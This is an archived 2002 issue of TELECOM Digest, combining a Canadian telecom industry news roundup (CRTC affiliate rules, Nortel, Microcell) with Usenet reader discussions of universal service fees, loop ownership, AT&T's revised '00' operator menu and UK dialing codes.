Inside Wire Appeal ** Nortel Scales Back Lines of Credit ** Nortel to Supply Alberta SuperNet ** Amtelecom Retains Advisors ** Samsung and Bell Fund Queen's Research ** CPC Wins Montreal Payphone Contract ** Cogeco Internet Users up 47% ** New Management at Teleglobe ** Q9 Intros New Server Bundles ** Correction ** When You Need a Second Opinion in Telecom ============================================================ CRTC REINS IN TELCO AFFILIATES: In Telecom Decision 2002-76, the CRTC says that telephone company affiliates are subject to the same rules as the telco itself, when operating in the telco's territory. Decision details include: ** In at least 111 cases, Bell Canada broke CRTC rules by not filing tariffs for bundled services offered through Bell Nexxia. Bell and other major telcos must file proposed tariffs and contract information for all current service bundles offered by themselves or their affiliates, by January 27. ** Bell and all the major ILECs must now include, in large bold print at the top of all contracts for bundled services, a clause notifying customers that rates and terms for the service are not final until approved by the Commission. ** For the time being, ILEC facilities-based affiliates must get Commission approval to resell ILEC tariffed services, other than high-speed Internet services sold to ISPs. ** A further proceeding will consider whether all services provided by ILEC affiliates should be tariffed, when those services would require a tariff if offered by the ILEC itself. http://www.crtc.gc.ca/archive/ENG/Decisions/2002/dt2002-76.htm NORTEL NAMES ENTERPRISE PRESIDENT: Nortel Networks has named Malcolm Collins, formerly the company's senior executive in western Europe, as president of its enterprise division. He replaces CEO Frank Dunn, who has been acting president of the enterprise division since it was created three months ago. MITEL GETS $60 MILLION FROM OTTAWA: Industry Canada says it will provide up to $60 million for a broadband R&D project run by Mitel Networks and March Networks. COMPETITION COMMISSIONER OPPOSES OWNERSHIP CAPS: Konrad von Finckenstein, head of the Competition Bureau, told a Commons committee December 12 that restrictions on foreign ownership of telecom and cable companies diminish competition and should be abolished. (See Telecom Update #359) MICROCELL LAYS OFF 6%: Microcell Telecommunications is laying off 149 employees across Canada, about 6% of its workforce. The company also reports that it has renegotiated the terms of a major contract with a vendor to avoid being in default. ** Two representatives of Deutsche Telekom's T-Mobile organization have resigned from Microcell's Board. BELL TESTS PUBLIC WI-FI HOTSPOTS: Bell Canada has begun a three month trial of 802.11b ""hotspots"" that provide wireless Internet access in various public locations in Toronto, Kingston, and Montreal. The service is free during the trial. MORE COMMENTS ON AT&T PETITION: ** The Competition Bureau opposes AT&T's call for an immediate 50% discount on all ILEC network facilities, but says Cabinet should ask the CRTC to report back on policies to facilitate competitive entry. ** Group Telecom says the CRTC's competitive framework already provides a balance between resale and facilities- based entry. GT recommends that the government reject AT&T's petition (see Telecom Update #347) and publicly endorse the CRTC's approach. ** The Public Interest Advocacy Centre says Call-Net's submission (see Telecom Update #360) is ""outdated and patently self-serving"": local service in Canada is no longer provided below cost, so viable competition does not require price increases. http://strategis.ic.gc.ca/SSG/sf05987e.html LOOK OPPOSES VIDEOTRON INSIDE WIRE APPEAL: Look Communications has asked the Federal Court of Appeal to deny Videotron's motion for leave to appeal a CRTC decision on use of inside wiring in multiple unit dwellings. Broadcasting Decision 2002-299 told Videotron to reduce charges for use of the wire. (See Telecom Update #353) NORTEL SCALES BACK LINES OF CREDIT: Nortel Networks is terminating a US$1.175 billion undrawn credit facility due to expire in April 2003. Another $1.5 billion line of credit expires this month. Nortel retains a $750 million credit facility and says it will end the year with $3 billion cash. NORTEL TO SUPPLY ALBERTA SUPERNET: Bell West has chosen Nortel Networks as exclusive supplier of optical network equipment for Alberta's SuperNet project. AMTELECOM RETAINS ADVISORS: Amtelecom Group Inc. which owns the Aylmer, Ontario-based independent telco Amtelecom, says it has retained financial advisors to present ""alternatives to maximize the value of AGI's business units."" SAMSUNG AND BELL FUND QUEEN'S RESEARCH: Samsung Electronics and Bell Canada will each contribute $300,000 over three years to fund a research project at Queen's University on ""Smart Antennas for Wireless Communications Systems."" CPC WINS MONTREAL PAYPHONE CONTRACT: Canada Payphone Corp. will install payphones in Montreal's expanded Palais des Congres, which CPC says will bring $500,000 in revenue over the contract's five-year term. COGECO INTERNET USERS UP 47%: Cogeco Cable says it added 50,000 new high-speed Internet customers in the 12 months ended August 31. The company's net income for the year was $12 million, compared to $17 million a year earlier. NEW MANAGEMENT AT TELEGLOBE: On December 1, TLGB Acquisition LLC assumed day-to-day management responsibility for Teleglobe's core operations. TLGB is an affiliate of the two investment companies that are buying Teleglobe from BCE. Q9 INTROS NEW SERVER BUNDLES: Q9 Networks has introduced three new managed server solutions for corporate websites, starting at $1,250 per month, which includes a dedicated server and Internet bandwidth. CORRECTION: Last week's Telecom Update incorrectly identified Randy Benson. He is Call-Net's outgoing Chief Financial Officer. WHEN YOU NEED A SECOND OPINION IN TELECOM: Angus Dortmans Associates consults to Canadian organizations that use telecommunications and network services as essential business tools. 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The information and data included has been obtained from sources which we believe to be reliable, but Angus TeleManagement makes no warranties or representations whatsoever regarding accuracy, completeness, or adequacy. Opinions expressed are based on interpretation of available information, and are subject to change. If expert advice on the subject matter is required, the services of a competent professional should be obtained. ------------------------------ From: Fred Goldstein Subject: Loop Ownership (was Re: The Farce of National Branding) Date: Sun, 15 Dec 2002 22:40:15 -0500 On Mon, 16 Dec 2002 01:18:05 GMT tonypo1@cox.net wrote, > Just about everything around here is carried on fiber -- it's hard not > to as there are also several hundreds of miles of dark fiber in the > roads. Yes, the interoffice plant in New England (and many other places) is entirely glass, unless some remote islands are exceptions. The local loop plant is copper with glass to some outlying pedestals; how much varies widely by place. The drops to big business sites are glass; small business and houses get copper. The downside is that the copper-behind-glass is very, very limited in capabilities, because VeriZontal does not deploy DSLAMs outside of its big central offices. So fiber-served neighborhoods have no real DSL options. (I don't count IDSL, which CLECs can sometimes provision.) VZ doesn't put DSL in the pedestals often (nor does SBC) because there's an economy of scale involved, and central office deployments are more profitable than pedestal deployments. CLECs are theoretically allowed to request access to the loops behind the pedestals, and space in them, but the reality makes it extremely hard if not impossible. > Interoffice stuff is all fiber at this point but we won't see fiber to > the curb until the rules change again. Seems that the RBOC's don't > want to have to share that fiber with competitors and they're waiting > for the legislature and FCC to close that little loophole. Well-positioned people at VZ told me that they don't think residential subs don't really need DSL bandwidth, so fiber optics would be totally wasted on them. Let's hear it for marketing! In public, they're trying to get the rules changed to remove local competition. They traded it for access to LD, but now that they have the LD access, they're trying to go back on the deal. The most effective fix would be to separate the ILECs into two unaffiliated entities, a sort of Divestiture II. Just as 1984's Divestiture I divided the old AT&T along regulated-monopoly / unregulated-competitive lines. In 1982, when the MFJ was being written, all local (became ""intra-LATA"") was viewed as a ""natural monopoly"". Today, there's still a natural monopoly on the outside plant portion of the business, such as local loops, pedestals, and most interoffice fiber. And those are inextricably associated with central office buildings (wire centers). There's no real natural monopoly on switching, or associated voice or data ""services"". So I suggest a split along those lines, with the service-ILECs becoming sligtly-regulated collocators in ""loopco""-owned central office buildings. The loop companies would then sell service to any comer (at minimum, former-ILEC service/switchcos and CLECs) on equal terms. And if any of them wanted to serve DSL behind fiber, or run fiber to the home, then the more strictly-regulated loopco would do it on a nondiscriminatory basis at a fair (regulated) price. I've written a somewhat longer description of this proposal on the web site for my consulting business, http://www.ionary.com/ , in the 'ions"" section. Digest readers might find it, and other things on the site, interesting. ------------------------------ From: H. Peter Anvin Subject: Re: Ten TLD's Date: 15 Dec 2002 18:48:27 -0800 Organization: Transmeta Corporation, Santa Clara CA In hes@hes01.unity.ncsu.edu (Henry E Schaffer) in newsgroup: comp.dcom.telecom > In article , Pat wrote: >> [TELECOM Digest Editor's Note: And don't forget '.us' as one in >> somewhat infrequent use. PAT] > There really has been a rush to use .com - someone mentioned that it > is the default used by some browsers - and the general public seems to > be convinced that it is necessary. This has been so much so that the > State of North Carolina changed its web site from: > http://www.state.nc.us/ to http://www.ncgov.com/ > in order to fit in with what the general public expects. (They keep the > old URL and redirect hits to it to the new one.) California is using ca.gov which, given that .gov is a TLD instead of being under .us like it really ought to kind of makes a lot more sense than state.ca.us (which forwards to ca.gov). hpa at work, in private! ""Unix gives you enough rope to shoot yourself in the foot."" http://www.zytor.com/~hpa/puzzle.txt ------------------------------ Date: 15 Dec 2002 21:55:21 -0500 From: johnl@iecc.com (John R. Levine) Subject: Re: Taxes and Transfers, was Re: Cell Phone Users to See Increase Organization: I.E.C.C., Trumansburg NY USA > did any of us in the general public vote for such a massive transfer > payment to an ILEC? (And to follow up on my earlier comments: why is > the Federal Gov't picking up, via national taxes, what are > traditionally local responsibilities? Will they next tax us on our > fuel oil so as to supply school buses with discount diesel?) Universal service subsidies go back to the Communications Act of 1934. Until the Bell breakup, the subsidies were done implicitly by transfers within AT&T and, I suppose, payments to independents for toll separations. At the time of the Bell breakup, they made USF more explicit, and starting in 1998 they started assessing it on monthly bills as well as the surcharge on long distance they'd always used in the past. USF for phones was and is a good idea, since the more people you can call, the more useful your phone is. On the other hand, E-Rate, funding school internet connections out of USF was an awful idea, both because it's not the same issue, and because it forces schools to get their internet from a provider that charges a money rate, rather than buying their own wireless or other equipment that'd be cheaper in the long run. I'm not surprised that a lot of USF money goes to Puerto Rico. USF provides subsidies for high-cost rural service, as well as subsidies for ""lifeline"" service to the poor. Since most of P.R. is rural, and all of P.R. is poor compared to the rest of the U.S., I'd expect them to qualify for lots of USF money. >> And, BTW, did any of us in the general public vote for such a massive >> transfer payment to an ILEC? > Somewhat beside the point, because there aren't referenda at the > Federal level -- we only vote for Representatives and Senators, and > for Presidential electors. Besides, USF subsidies have been around since 1934. They only became explicit at the time of the Bell breakup because the old model of doing them within AT&T wasn't possible any more. >> And to follow up on my earlier comments: why is the Federal Gov't picking >> up, via national taxes, what are traditionally local responsibilities? > Because Congress can get away with it, and can sway voters by doing so. Ignoring the E-rate botch, the point of USF subsidies is that your phone is more valuable if you can call more people. Subsidies for high-cost and low-income phone areas have long been treated as part of the normal costs of phone service. >> Oh, and everyone realizes this is a tax which gets passed to us users, >> right? > That's an interesting point -- during the Clinton Administration the > FCC discouraged carriers from itemizing the USF or e-rate charges on > bills, and IIRC threatened to cite carriers who did for misleading > their customers (since it is the carrier, not the customer, who is > liable for the fees). Right. The FAQ at universalservice.org, the company that administers the USF fund, makes it clear that the USF line on your long distance bill is unlikely to have much relationship to the actual USF fees that your carrier pays. But of course in the era of crony capitalism, how could we take offense at a little profit stuffing at the public's expense? John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ Date: 15 Dec 2002 22:38:35 -0500 From: johnl@iecc.com (John R. Levine) Subject: Re: The Farce of National Branding Organization: I.E.C.C., Trumansburg NY USA >> How odd. Just to pick a few examples, say Pepsi, Coors, and >> Anheuser-Busch, it doesn't SEEM that they're made in ""generic plants"" >> where ""competing brands"" are made as well. > But they are. The same bottling companies typically turn out many > competing brands. They simply license the use of the name. Look at a > soda can sometime. ""Under license from Coca Pepsi Corp (or whatever)..."" Coke and Pepsi bottlers have monopoly territorial contracts with the Coke and Pepsi companies. The main companies make the concentrated syrup from the infamous secret formulae. They sell the syrup to the bottlers who dilute it with fizz water and put it in bottles and cans. The license is a license to use the trademarks and to dilute the syrup, not to make the product from scratch. Coke bottlers rarely carry competing brands unless they have a long-standing agreement with another big brand like Dr. Pepper, and I've never known one to make generic soda. (Around here most of the generic soda comes from Cott in Toronto, who are a big brand in Canada but nearly unkown here, so they do generics instead.) In the U.S., Anheuser-Busch makes all its own beer in 12 breweries around the country. (Outside the U.S., in some areas they make their own, in others it's licensed, but who in their right mind is going to drink Budweiser in Canada or Germany or Ireland?) They also make some more dubious stuff under names licensed from others, e.g., Bacardi and Tequiza, but anything you buy in the US named Budweiser or Michelob or Busch is made by A-B. Coors makes their own beer in the original brewery in Colorado as well as two new ones they run in Virginia and Tennessee. Again, they make some stuff with other names (""Killian's Red"", a beer unknown in Ireland) but anything in the U.S. called Coors, they made. It's true, there are some beers brewed in a zillion different places, such as Sam Adams, only a tiny fraction of which is made in their brewery in Boston, but the brewers who know what they're doing have little trouble spec'ing the product well enough that it's consistent regardless of who's making it. So as someone else said, it's not all like the telecom biz where you can be practically certain that a phone with a famous brand on it is made by anyone except the owner of the brand. > Oh, you have offices in your own region? I'm SO glad I don't have to deal directly with an RBOC. Not only does my telco have an office within walking distance, I know most of the employees by name and could call them at home if something really urgent came up. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail [TELECOM Digest Editor's Note: Well, that's what we *used to have* here in Independence years ago, when SWB Tel had the local business office in the central office building at 6th and Maple. Mother said to me the lady who worked over there took care of everything very nicely and in a prompt, courteous fashion. There was a service rep and a cashier in the local office. Then the service rep disappeared one day, and in her place on her old desk was a speed dial telephone you would use to call San Antonio or somewhere. There was still a couple of cashiers there on duty, but you had to use those speed dial phones on the desk to call service reps. Then one day the cashiers disappeared also and you were told (by a sign on the front door) to mail payments to a PO Box in Texas and call on your own phone to talk to service reps about any complaints. PAT] ------------------------------ Date: Sun, 15 Dec 2002 19:57:39 -0600 From: Neal McLain Reply-To: nmclain@annsgarden.com Organization: Ann's Garden Subject: Last Laugh! Black Christmas Lights You've all seen the ""individual ink tanks"" print ad for Canon printers -- a photo of four Christmas lights: magenta, cyan, black, and yellow. The black one is allegedly burned out. What I want to know is: if a black Christmas light is burned out, how would you know it? ObTelecom: Lights on manual PBXs are normally white, but colored lenses are available for optional use; they can be used to indicate special extensions, tie lines, etc. A PBX operator I once knew told me that she wished they made black lenses. Apparently, she had a certain obnoxious extension in mind. Neal McLain nmclain@annsgarden.com [TELECOM Digest Editor's Note: Black lights are not as mysterious as they may seem. They make a sort of ultra-violet lighting in a room. If they are burned out, the ultra-violet light goes away. One of our local bars here in Independence uses them in the dance floor area. They flash at such a high speed it would appear the person in the spotlight seems to come and go (in and out of sight) at a very fast pace. Regards your PBX operator friend, she seems to be forgetting the common audible which sounds when *any* extension goes off hook. That is, unless the common audible is wired in series through the bulbs, in which case there would be dead silence as well as a dead filament in the bulb, but usually the are not wired like that. Also, in the case of switchboards its only the *globe* in front of the plain bulb (underneath) which is of various colors. Typically the globe will be a cream color, but the lights for police stations, hospitals, etc will be a red color as advice to the operator regards handling. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. 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Townson AT&T '00' Menu Changed AGAIN (Mark J Cuccia) Mac Fraud Bust: The Inside Story (Monty Solomon) Re: Local Phone Service Inquiry by Reporter (joe@obilivan.net) Re: The Farce of National Branding (John Hines) Re: Cell Phone Users to See Increase in Fees (Herb Stein) Re: In a Roundabout Way (Paul A Lee) Re: Perils in Switching to Yahoo (Barry Margolin) Re: 011+ From NANP vs. 00+ From Most of World (Bob Goudreau) Re: 011+ From NANP vs. 00+ From Most of World (Alan Burkitt-Gray) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 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(and there is an AT&T 5E-OSPS in Montreal PQ Canada for AT&T-Canada, but AT&T-Canada is almost 'no more'). I didn't discover it until Sunday evening (15-Dec-2002), when I was at a COCOT (private payphone) and thought I'd see what it did with 1-800-CALL-ATT. Even though I _DIALED_ (DTMF-keyed) 1-800-225-5288 into the private payphone's internal faux-dialtone/chips, I could then faintly hear the DTMF touchtones as 101-0288-00 being sent to the central office, rather than 1-800-225-5288 what I actually dialed. And I discovered that the '00' (Double-Oh) AT&T ""menu"" has been changed again. The sparkle-jingle and voice saying 'AT&T' is the same, but there is yet a DIFFERENT voice than the previous ones used, giving the menu options. --- The previous menu quoted: ""AT&T: To place a call, please dial the number you are calling; For double-oh info, US Directory, press one; For other requests, please say Information, Credit or Operator."" At this menu, you could touchtone: ten-digits NANP, as either STRAIGHT ten-d, 1+ten-d, or 0+ten-d (VERY flexible! all methods accepted for NANP destinations) OR 01+intl+(#) or 011+intl+(#) (AGAIN quite flexible! both methods accepted for non-NANP destinations) (the next menu 'layer' was for billing collect or 3d party or card) OR '1' (followed by keying an optional '#' to cut-thru the delay to timeout) for ""Double-Oh Info US Directory"" OR '2' (followed by keying an optional '#' to cut-thru the delay to timeout) for a next menu 'layer' for additional options, such as time-of-day, etc (You could speak the word 'INFORMATION' to get the next menu 'layer' of additional options; 'information' does not 'necessarily' mean directory assistance here) OR '3' (followed by keying an optional '#' to cut-thru the delay to timeout) for a next menu 'layer' of options to get credit for misdials, bad transmission, cut-off, etc., the next menu-layer was business-vs-residence accounts, NANP-vs-non-NANP destinations dialed for credit, etc (You could speak the word 'CREDIT' to get this next menu layer) OR '0' (followed by keying an optional '#' to cut-thru the delay to timeout) to get a REAL LIVE Operator. Speaking the word 'OPERATOR' also cut-you-thru to a live operator. Of course, when she/he comes on the line you FIRST hear a generic digitally recorded female (or male) voice saying ""AT&T, how may I help you"", even though the live human is already there on the line. Some other things to touchtone-key or speak, not mentioned in the previous menu include: '*' + 7 + the speed-dial-code of variable digits + optional '#' if your destination number is also stored as a speed-dial code for your calling card to subsequently be keyed/entered. '*' + 1XX + option '#' to switch-over to a live operator (or menu for operator/card services) in ALTERNATE LANGUAGES, the '1XX' code identifying the specific language desired. Spanish is '111', which was the only one which had an AUTOMATED menu (at Dallas OSPS, 214-0T), live Spanish operator also available to cut-thru-to. All other languages are live-operator-only based in either Sherman Oaks CA OSPS (818-0T) or New York City NY Broadway-26T OSPS (212-0T). If you wanted to switch-over to the Spanish language card/opr menu, you alternately could speak the word 'e-span-(Y)OL' with the proper accent/inflection. --- The new menu quotes (and I am doing this from memory and notes I scribbled down; I have not yet tape-recorded this for a complete full exact transcription though): ""AT&T: To place a call, please enter the area code and telephone number that you are calling; For double-oh info, US Directory, press one; For international directory, or other 'information, press two; For AT&T Customer Sales and Service, press three; For Credit, press five; For rates, terms and conditions, press nine."" SOME OSPS-es might still allow you to ""do nothing"" and ""time-out"" to a live human operator; some might disconnect you if you have done ""nothing"". Destination numbers are still keyed as: (1+/0+/nothing) ten-digits, NANP 01(1)+intl+(#), non-NANP Double-Oh Info US Directory is reached as '1(#)' ""Information"" (international Directory and other 'information) is reached as '2(#)' or speaking the word 'INFORMATION' Customer Sales and Service (I guess the AT&T Business Office and AT&T Repair) is reached as '3(#)', but I don't know if there is a WORD to speak as well... The 'credit' options sub-menu is now reached as '5(#)' but you can still speak the word 'CREDIT' But keying '0(#)' is treated as not-valid!!! Rates/Terms/Conditions as '9(#)' _IS_ the Operator, and you can still reach her (him) by speaking the word 'OPERATOR' as well. the *7+speed-code+(#) still seems to work at the new '00' menu the *1XX(#) codes for alternate languages still seems to work as well, but I was UNABLE to get it to switch-over-to-Spanish if I spoke the word ""Espanol"" on the new '00' menu. On the new menu, keying '4(#)' goes to Double-Oh-Info-US-Directory, just like '1(#)' does; The following at the '00' menu are all treated as NOT valid: '6(#)', '7(#)', '8(#)', and as mentioned '0(#)'; I don't know how the OLDER menu treated things outside of what were known-to-be-valid, i.e. what happened with '4(#)', '5(#)', ... ,'9(#)'? --- BTW, the 1-800-CALL-ATT Menu (dialed from within the US; there is an abbreviated AT&T-USA-Direct when 1-800-CALL-ATT is dialed from Canada or other NANP or NANP-like countries that one can dial 1-800-CALL-ATT from): (it is the 'traditional' AT&T voice, though) ""AT&T To place a calling card or credit card call, press one; To place a collect call, press two; For AT&T Customer Service, press three; For Double-Oh-Info-US-Directory, press four; For Rates, Terms and Conditions, OR to place an operator assisted call, press zero, now."" There are NO voice/vocabulary/speak options on the 1-800-CALL-ATT menu. ONLY DTMF-Touchtone-keying is allowed... OR you can ""do nothing"" if you simply want to time-out-to-a-live-operator. Destination numbers for both card or collect calls do NOT have to be started off with the '1(#)' or '2(#)' menu levels. You can start off by simply keying the destination numbers as is, straight-ten-d OR 1+ OR 0+ ten-d for NANP locations, or simply start off keying 01(1)+intl+(#) for non-NANP locations. (AT&T's card/operator platform is VERY flexible/robust as to how you want to key/enter destination numbers when compared with OTHER LD-carriers' card/opr menu platforms! However, 010+ or 00+ for non-NANP is *NOT* allowed). The Customer Service press-three is really '3' followed by a delay OR you could have keyed '3(#)'. Similarly, the Double-Oh-US-Directory press-four is really '4' followed by a delay OR you could have keyed '4(#)'. The Operator quoted as press-zero is really '0' followed by a delay OR you could have keyed '0(#)'. The menu quoted does NOT mention anything for other digits. Lead off digits of '6(#)', '7(#)', '8(#)', or '9(#)' give an invalid message, but if you key two invalids in a row, the second one cuts you thru to a live opearator. A lead off of '5(#)', goes to a second layer: ""Press-one for English; Para Espanol marque-dos"" I think this is for adding units to a prepaid AT&T Calling Card. The *1XX(#) alternate language options are _ONLY_ available on the '00' access menu, and _NOT_ available on any 800- dialup access methods to AT&T OSPS Opr/Card services. The *7+ for speed dial codes associated with a calling card are available on the 1-800-CALL-ATT menu, and on ALL methods of access to AT&T OSPS card/operator service. Also, the '*' (star) button can be used when entering a digit-string, if you think you have made a mistake -- keyed the wrong digit in a destination number or card-entry, you can ""clear"" what you have already keyed and ""start-over"" by using the '*' (star) button. --- The new menu on '00' seems to DISCORAGE use of live operators. Rates, of course, ARE QUITE HIGH when you use an operator to place your call for you. Even if you were having difficulty in placing your call, and you use and AT&T Operator to attempt the call, or maybe even reach distant local telco ""inward"" (NPA+0XX+121) for her to try to reach the number, you are still charged AT&T Operator _HANDLED_ rates. Of course, when the bill eventually comes, if you check your bill and remember such operator calls, you can always call the AT&T Business Office/Customer (dis)Service, and get the charge adjusted down in such cases, but after you have waited on hold 'forever'. I don't know how many actual ""operator centers"" AT&T still has ... it might be anywhere between six and ten these days. They were trying to reduce them down a few years back, and have mostly reduced them. When you actually get a live AT&T Operator, she/he could be located virtually anywhere in the (continental) US, regardless of where in the (continental) US you are calling from or whatever OSPS _switch_ you ""home"" on. This situation of routing to to WHATEVER AT&T Operator is avaiable wherever she/he happens to be, regardless of whatever OSPS switch you ""home"" on is now called ""INTER-flow""... not even 'overflow' anymore, but INTER-flow! AT&T Operators _ARE_ Unionized, and I know that the CWA (Communications Workers of America) are _NOT_ really ""happy"" with all of the consolidation, reductions, and other changes that AT&T has embarked on over the past 10+ years regarding Operator services. Mark J. Cuccia ------------------------------ Date: Mon, 16 Dec 2002 01:38:40 -0500 From: Monty Solomon Subject: Mac Fraud Bust: the Inside Story By Andrew Orlowski in San Francisco Posted: 12/12/2002 at 22:45 GMT Police in Markham, Illinois charged a 38-year old man this afternoon on two counts of forgery. The arrest is the result of extraordinary perseverance and pluck from a 21 year old New Orleans student, aided by the online Mac community. Melvin Christmas obtained a G4 PowerBook from a student Jason Eric Smith, and paid for it using a counterfeit check from LaSalle bank. http://www.theregister.co.uk/content/39/28548.html [TELECOM Digest Editor's Note: I am certainly glad Jason got his money and did not get cheated out of his computer. For those folks who do not know the Chicago, Illinois area all that well, Markham is a mostly black, rather poor suburb on the far south side of the city. There is a lot of crime there. I am sure Jason and his computer were not the biggest items on the police agenda for the day. The story is a good one to read. PAT] ------------------------------ From: joe@obilivan.net Subject: Re: Local Phone Service Inquiry by Reporter Date: Mon, 16 Dec 2002 09:31:48 GMT Organization: Cox Communications Does anyone read that newspaper? Barbara Correa wrote: > I'm a reporter with the Los Angeles Daily News. I'm writing a story > about consumer telecom issues and where people can look for the best > deals in wireless and land line phone service. I'm looking for > Southern Californians to talk to about all kinds of phone service, saw > your message and thought you might be a good source. Give me a call at > 818.713.3634 or I can call if you send your number. I am on a > deadline, so sooner is better. > Thanks, > Barbara Correa > (barbara.correa@dailynews.com) ------------------------------ From: John Hines Subject: Re: The Farce of National Branding Date: Mon, 16 Dec 2002 09:05:44 -0600 Organization: www.jhines.org Reply-To: john@jhines.org John Higdon wrote: > A real (non-SBC) telco would see those potential country club customers > and install a fiber hut right in the middle of it and equip it with > DSLAMs. But, as all the field techs say to me now, ""SBC hates fiber."" > Too bad, since puting a fiber hut out there would improve the POTS > service as well. Here in Illinois SBC is holding off on installing remote DSLAMS because they want to only install their own ADSL equipment, and not allow foreign equipment. Last I heard, which was a while ago, the issue had stalemated in the courts. ------------------------------ From: Herb Stein Subject: Re: Cell Phone Users to See Increase in Fees Date: Mon, 16 Dec 2002 09:28:43 -0600 Joseph wrote in message news:telecom22.186.9@telecom-digest.org: > In the article that Monty referred it says: >> This percentage can be significantly higher than what the >> government asks of the phone companies. For example, AT&T, the >> No. 1 long-distance provider, charges residential wireline >> customers 11 percent of their monthly long-distance total for the >> universal service fee. > Which is my major beef with so called USF charges. The LD companies > such as AT&T see that because the government gives them permission to > charge for USF they can charge any rate they like and if their > revenues are down all they have to do is adjust up the USF rate that > it will charge it's subscribers no matter that it may just be an > arbitrary rate. Why does AT&T charge 11% while ECC might only charge > 5%? Why? Probably because they can pretty much charge whatever they > like and have no federal mandate that they pass along the actual > amount that is due. The same probably goes for the surcharge the > receiver of a toll-free call. The rate is only 30 cents or so, but > carriers charge anywhere from 30 cents to 55 cents. Charge whatever > the traffic will bear is what it appears. > Replies are seldom read. Please reply in the group. The whole concept of the Universal Service Fund need to be rethought. People think I'm constantly harping on this subject, but it's a symptom of other problems with government today. If universal service is an important societal goal (which I disagree with) then the costs should be borne by taxpayers, not ratepayers. My electric and gas utilities effectively do the same thing, but they don't break it out as a line item on the bill so we don't see it. They can not disconnect deadbeats from early winter through late winter. Never the less, guess who eats the costs of those unpaid utility bills? The ratepayer. When you choose to live 40 miles away from state-of-the-art infrastructure you may encounter a down side. Deal with it. Herb Stein The Herb Stein Group www.herbstein.com herb@herbstein.com 314 952-4601 ------------------------------ From: Paul A Lee Subject: Re: In a Roundabout Way Date: Mon, 16 Dec 2002 11:02:04 -0500 In TELECOM Digest V22 #185, jt wrote: > What no one has mentioned in discussing the comparative mertits of > roundabouts versus stop-lights is the adaptive nature of the former > over the latter. When traffic is light (the majority of time) > roundabouts are superior. From a traffic engineering standpoint, I understand that the main benefit of a traffic circle over an intersection is the reduced number of potential collision points and the lower energy vectors of those collisions. That is to say that a circle pretty much does away with head-on and T-bone collisions (except in the case of a completely disoriented driver). I still hate the damn things and find them counter-intuitive, though ... Paul A Lee *palee*at*dca*dot*net* ------------------------------ From: Barry Margolin Subject: Re: Perils in Switching to Yahoo Organization: Genuity, Woburn, MA Date: Mon, 16 Dec 2002 16:08:31 GMT In article , Monty Solomon wrote: > David Lazarus > Pacific Bell may be taking on a new name, but it's still up to the > same old tricks. > The company's customers were outraged when I wrote how Pac Bell, which > now wants to be known by the moniker of its corporate parent, SBC, > slipped an insert into recent bills advising that personal information > will be shared with business partners unless the customer says > otherwise. So? We've all gotten those inserts from just about every company we do business with, as required by Uncle Sam. > That's not the half of it. For some services, Yahoo says it will > request Pac Bell customers' Social Security number ""and information > about your assets."" Again, what's new about this? Lots of companies survey their customers. Barry Margolin, barmar@genuity.net Genuity, Woburn, MA *** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups. Please DON'T copy followups to me -- I'll assume it wasn't posted to the group. ------------------------------ Date: Sun, 15 Dec 2002 20:34:57 PST From: Bob Goudreau Reply-To: BobGoudreau@nc.rr.com Subject: Re: 011+ From NANP vs. 00+ From Most of World Phil McKerracher wrote: > I agree! It has been seriously discussed (and of course Sweden did). I > wouldn't describe either as an ""international standard"" though, since > there is a fairly even balance between left and right countries > worldwide. We're off topic though. > By ""international standard"" I mean one that is accepted by the great > majority of countries, not just more than one. In that case, driving on the right side of the road is an international standard, whether measured by number of countries, population, land area or size of road networks. The balance is far from ""fairly even""; right wins by a landslide. See http://www.travel-library.com/general/driving/drive_which_side.html for details. Bob Goudreau Cary, NC ------------------------------ From: Alan Burkitt-Gray Subject: Re: 011+ From NANP vs. 00+ From Most of World Date: Mon, 16 Dec 2002 10:55:53 -0000 PaulCoxwell@aol.com wrote: > In general though, I agree that the mess that has been made of > changes over the last few years is only now starting to be put > straight. The hastily rushed split of London into 071 and 081 > without thinking about what would then need to be done a little > farther down the track is an excellent example of the lack of > planning. It's a mess that hasn't really been sorted out since the latest changes. More than half the population of London still seems to think they have two area codes (0207 and 0208, replacing the old 0171 and 0181, replacing the even older 071 and 081) followed by seven-digit local numbers, rather than a London-wide code, 020, followed by eight-digit local numbers. The publicity never really got across that the old area code split was being abolished. So they still dial the area code when they dial across the old code boundary: in fact, they are so confused they play safe and dial the area code in front of everything -- presumably having not got through after dialing just seven digits. I'd be interested to know if a similar situation applies in Northern Ireland and in Portsmouth/Southampton. Considering that everyone has to dial the area code from mobile phones (and we now have a mobile phone penetration of 70-80% in the UK) I don't know why we don't just follow the Belgians and (almost) Italians and move to full code+number dialing. > but as has been mentioned already, in the old network there *were* > U.K. STD codes starting 00. Long time ago, though, Paul -- back in the late 1960s, and dropped when all-figure numbering was introduced. So just as Leeds was 0LE2 and Leicester was 0LE3, Oxford was 0OX2. The ""O"" in the old UK dial went with the ""0"", so the Oxford code as equivalent to 0092; but in around 1968-69 the UK dropped letters in codes. While Leeds and Leicester changed to 0532 and 0533, Oxford was given a new code, 0865, which -- with the extra 1 after the zero -- still exists as 01865. At the same time named exchanges in London, Manchester etc were replaced. So (01) FLEet Street 6170 (Ye Old Cheshire Cheese pub, at 15 Fleet Street) became 01-353 6170 and is today 020 7353 6170. Alan Burkitt-Gray Editor, Global Telecoms Business Euromoney Institutional Investor plc, Nestor House, Playhouse Yard, London EC4V 5EX, UK tel +44 20 7779 8518 fax +44 20 7779 8492 e-mail aburkitt@euromoneyplc.com www.globaltelecomsbusiness.com ------------------------------ 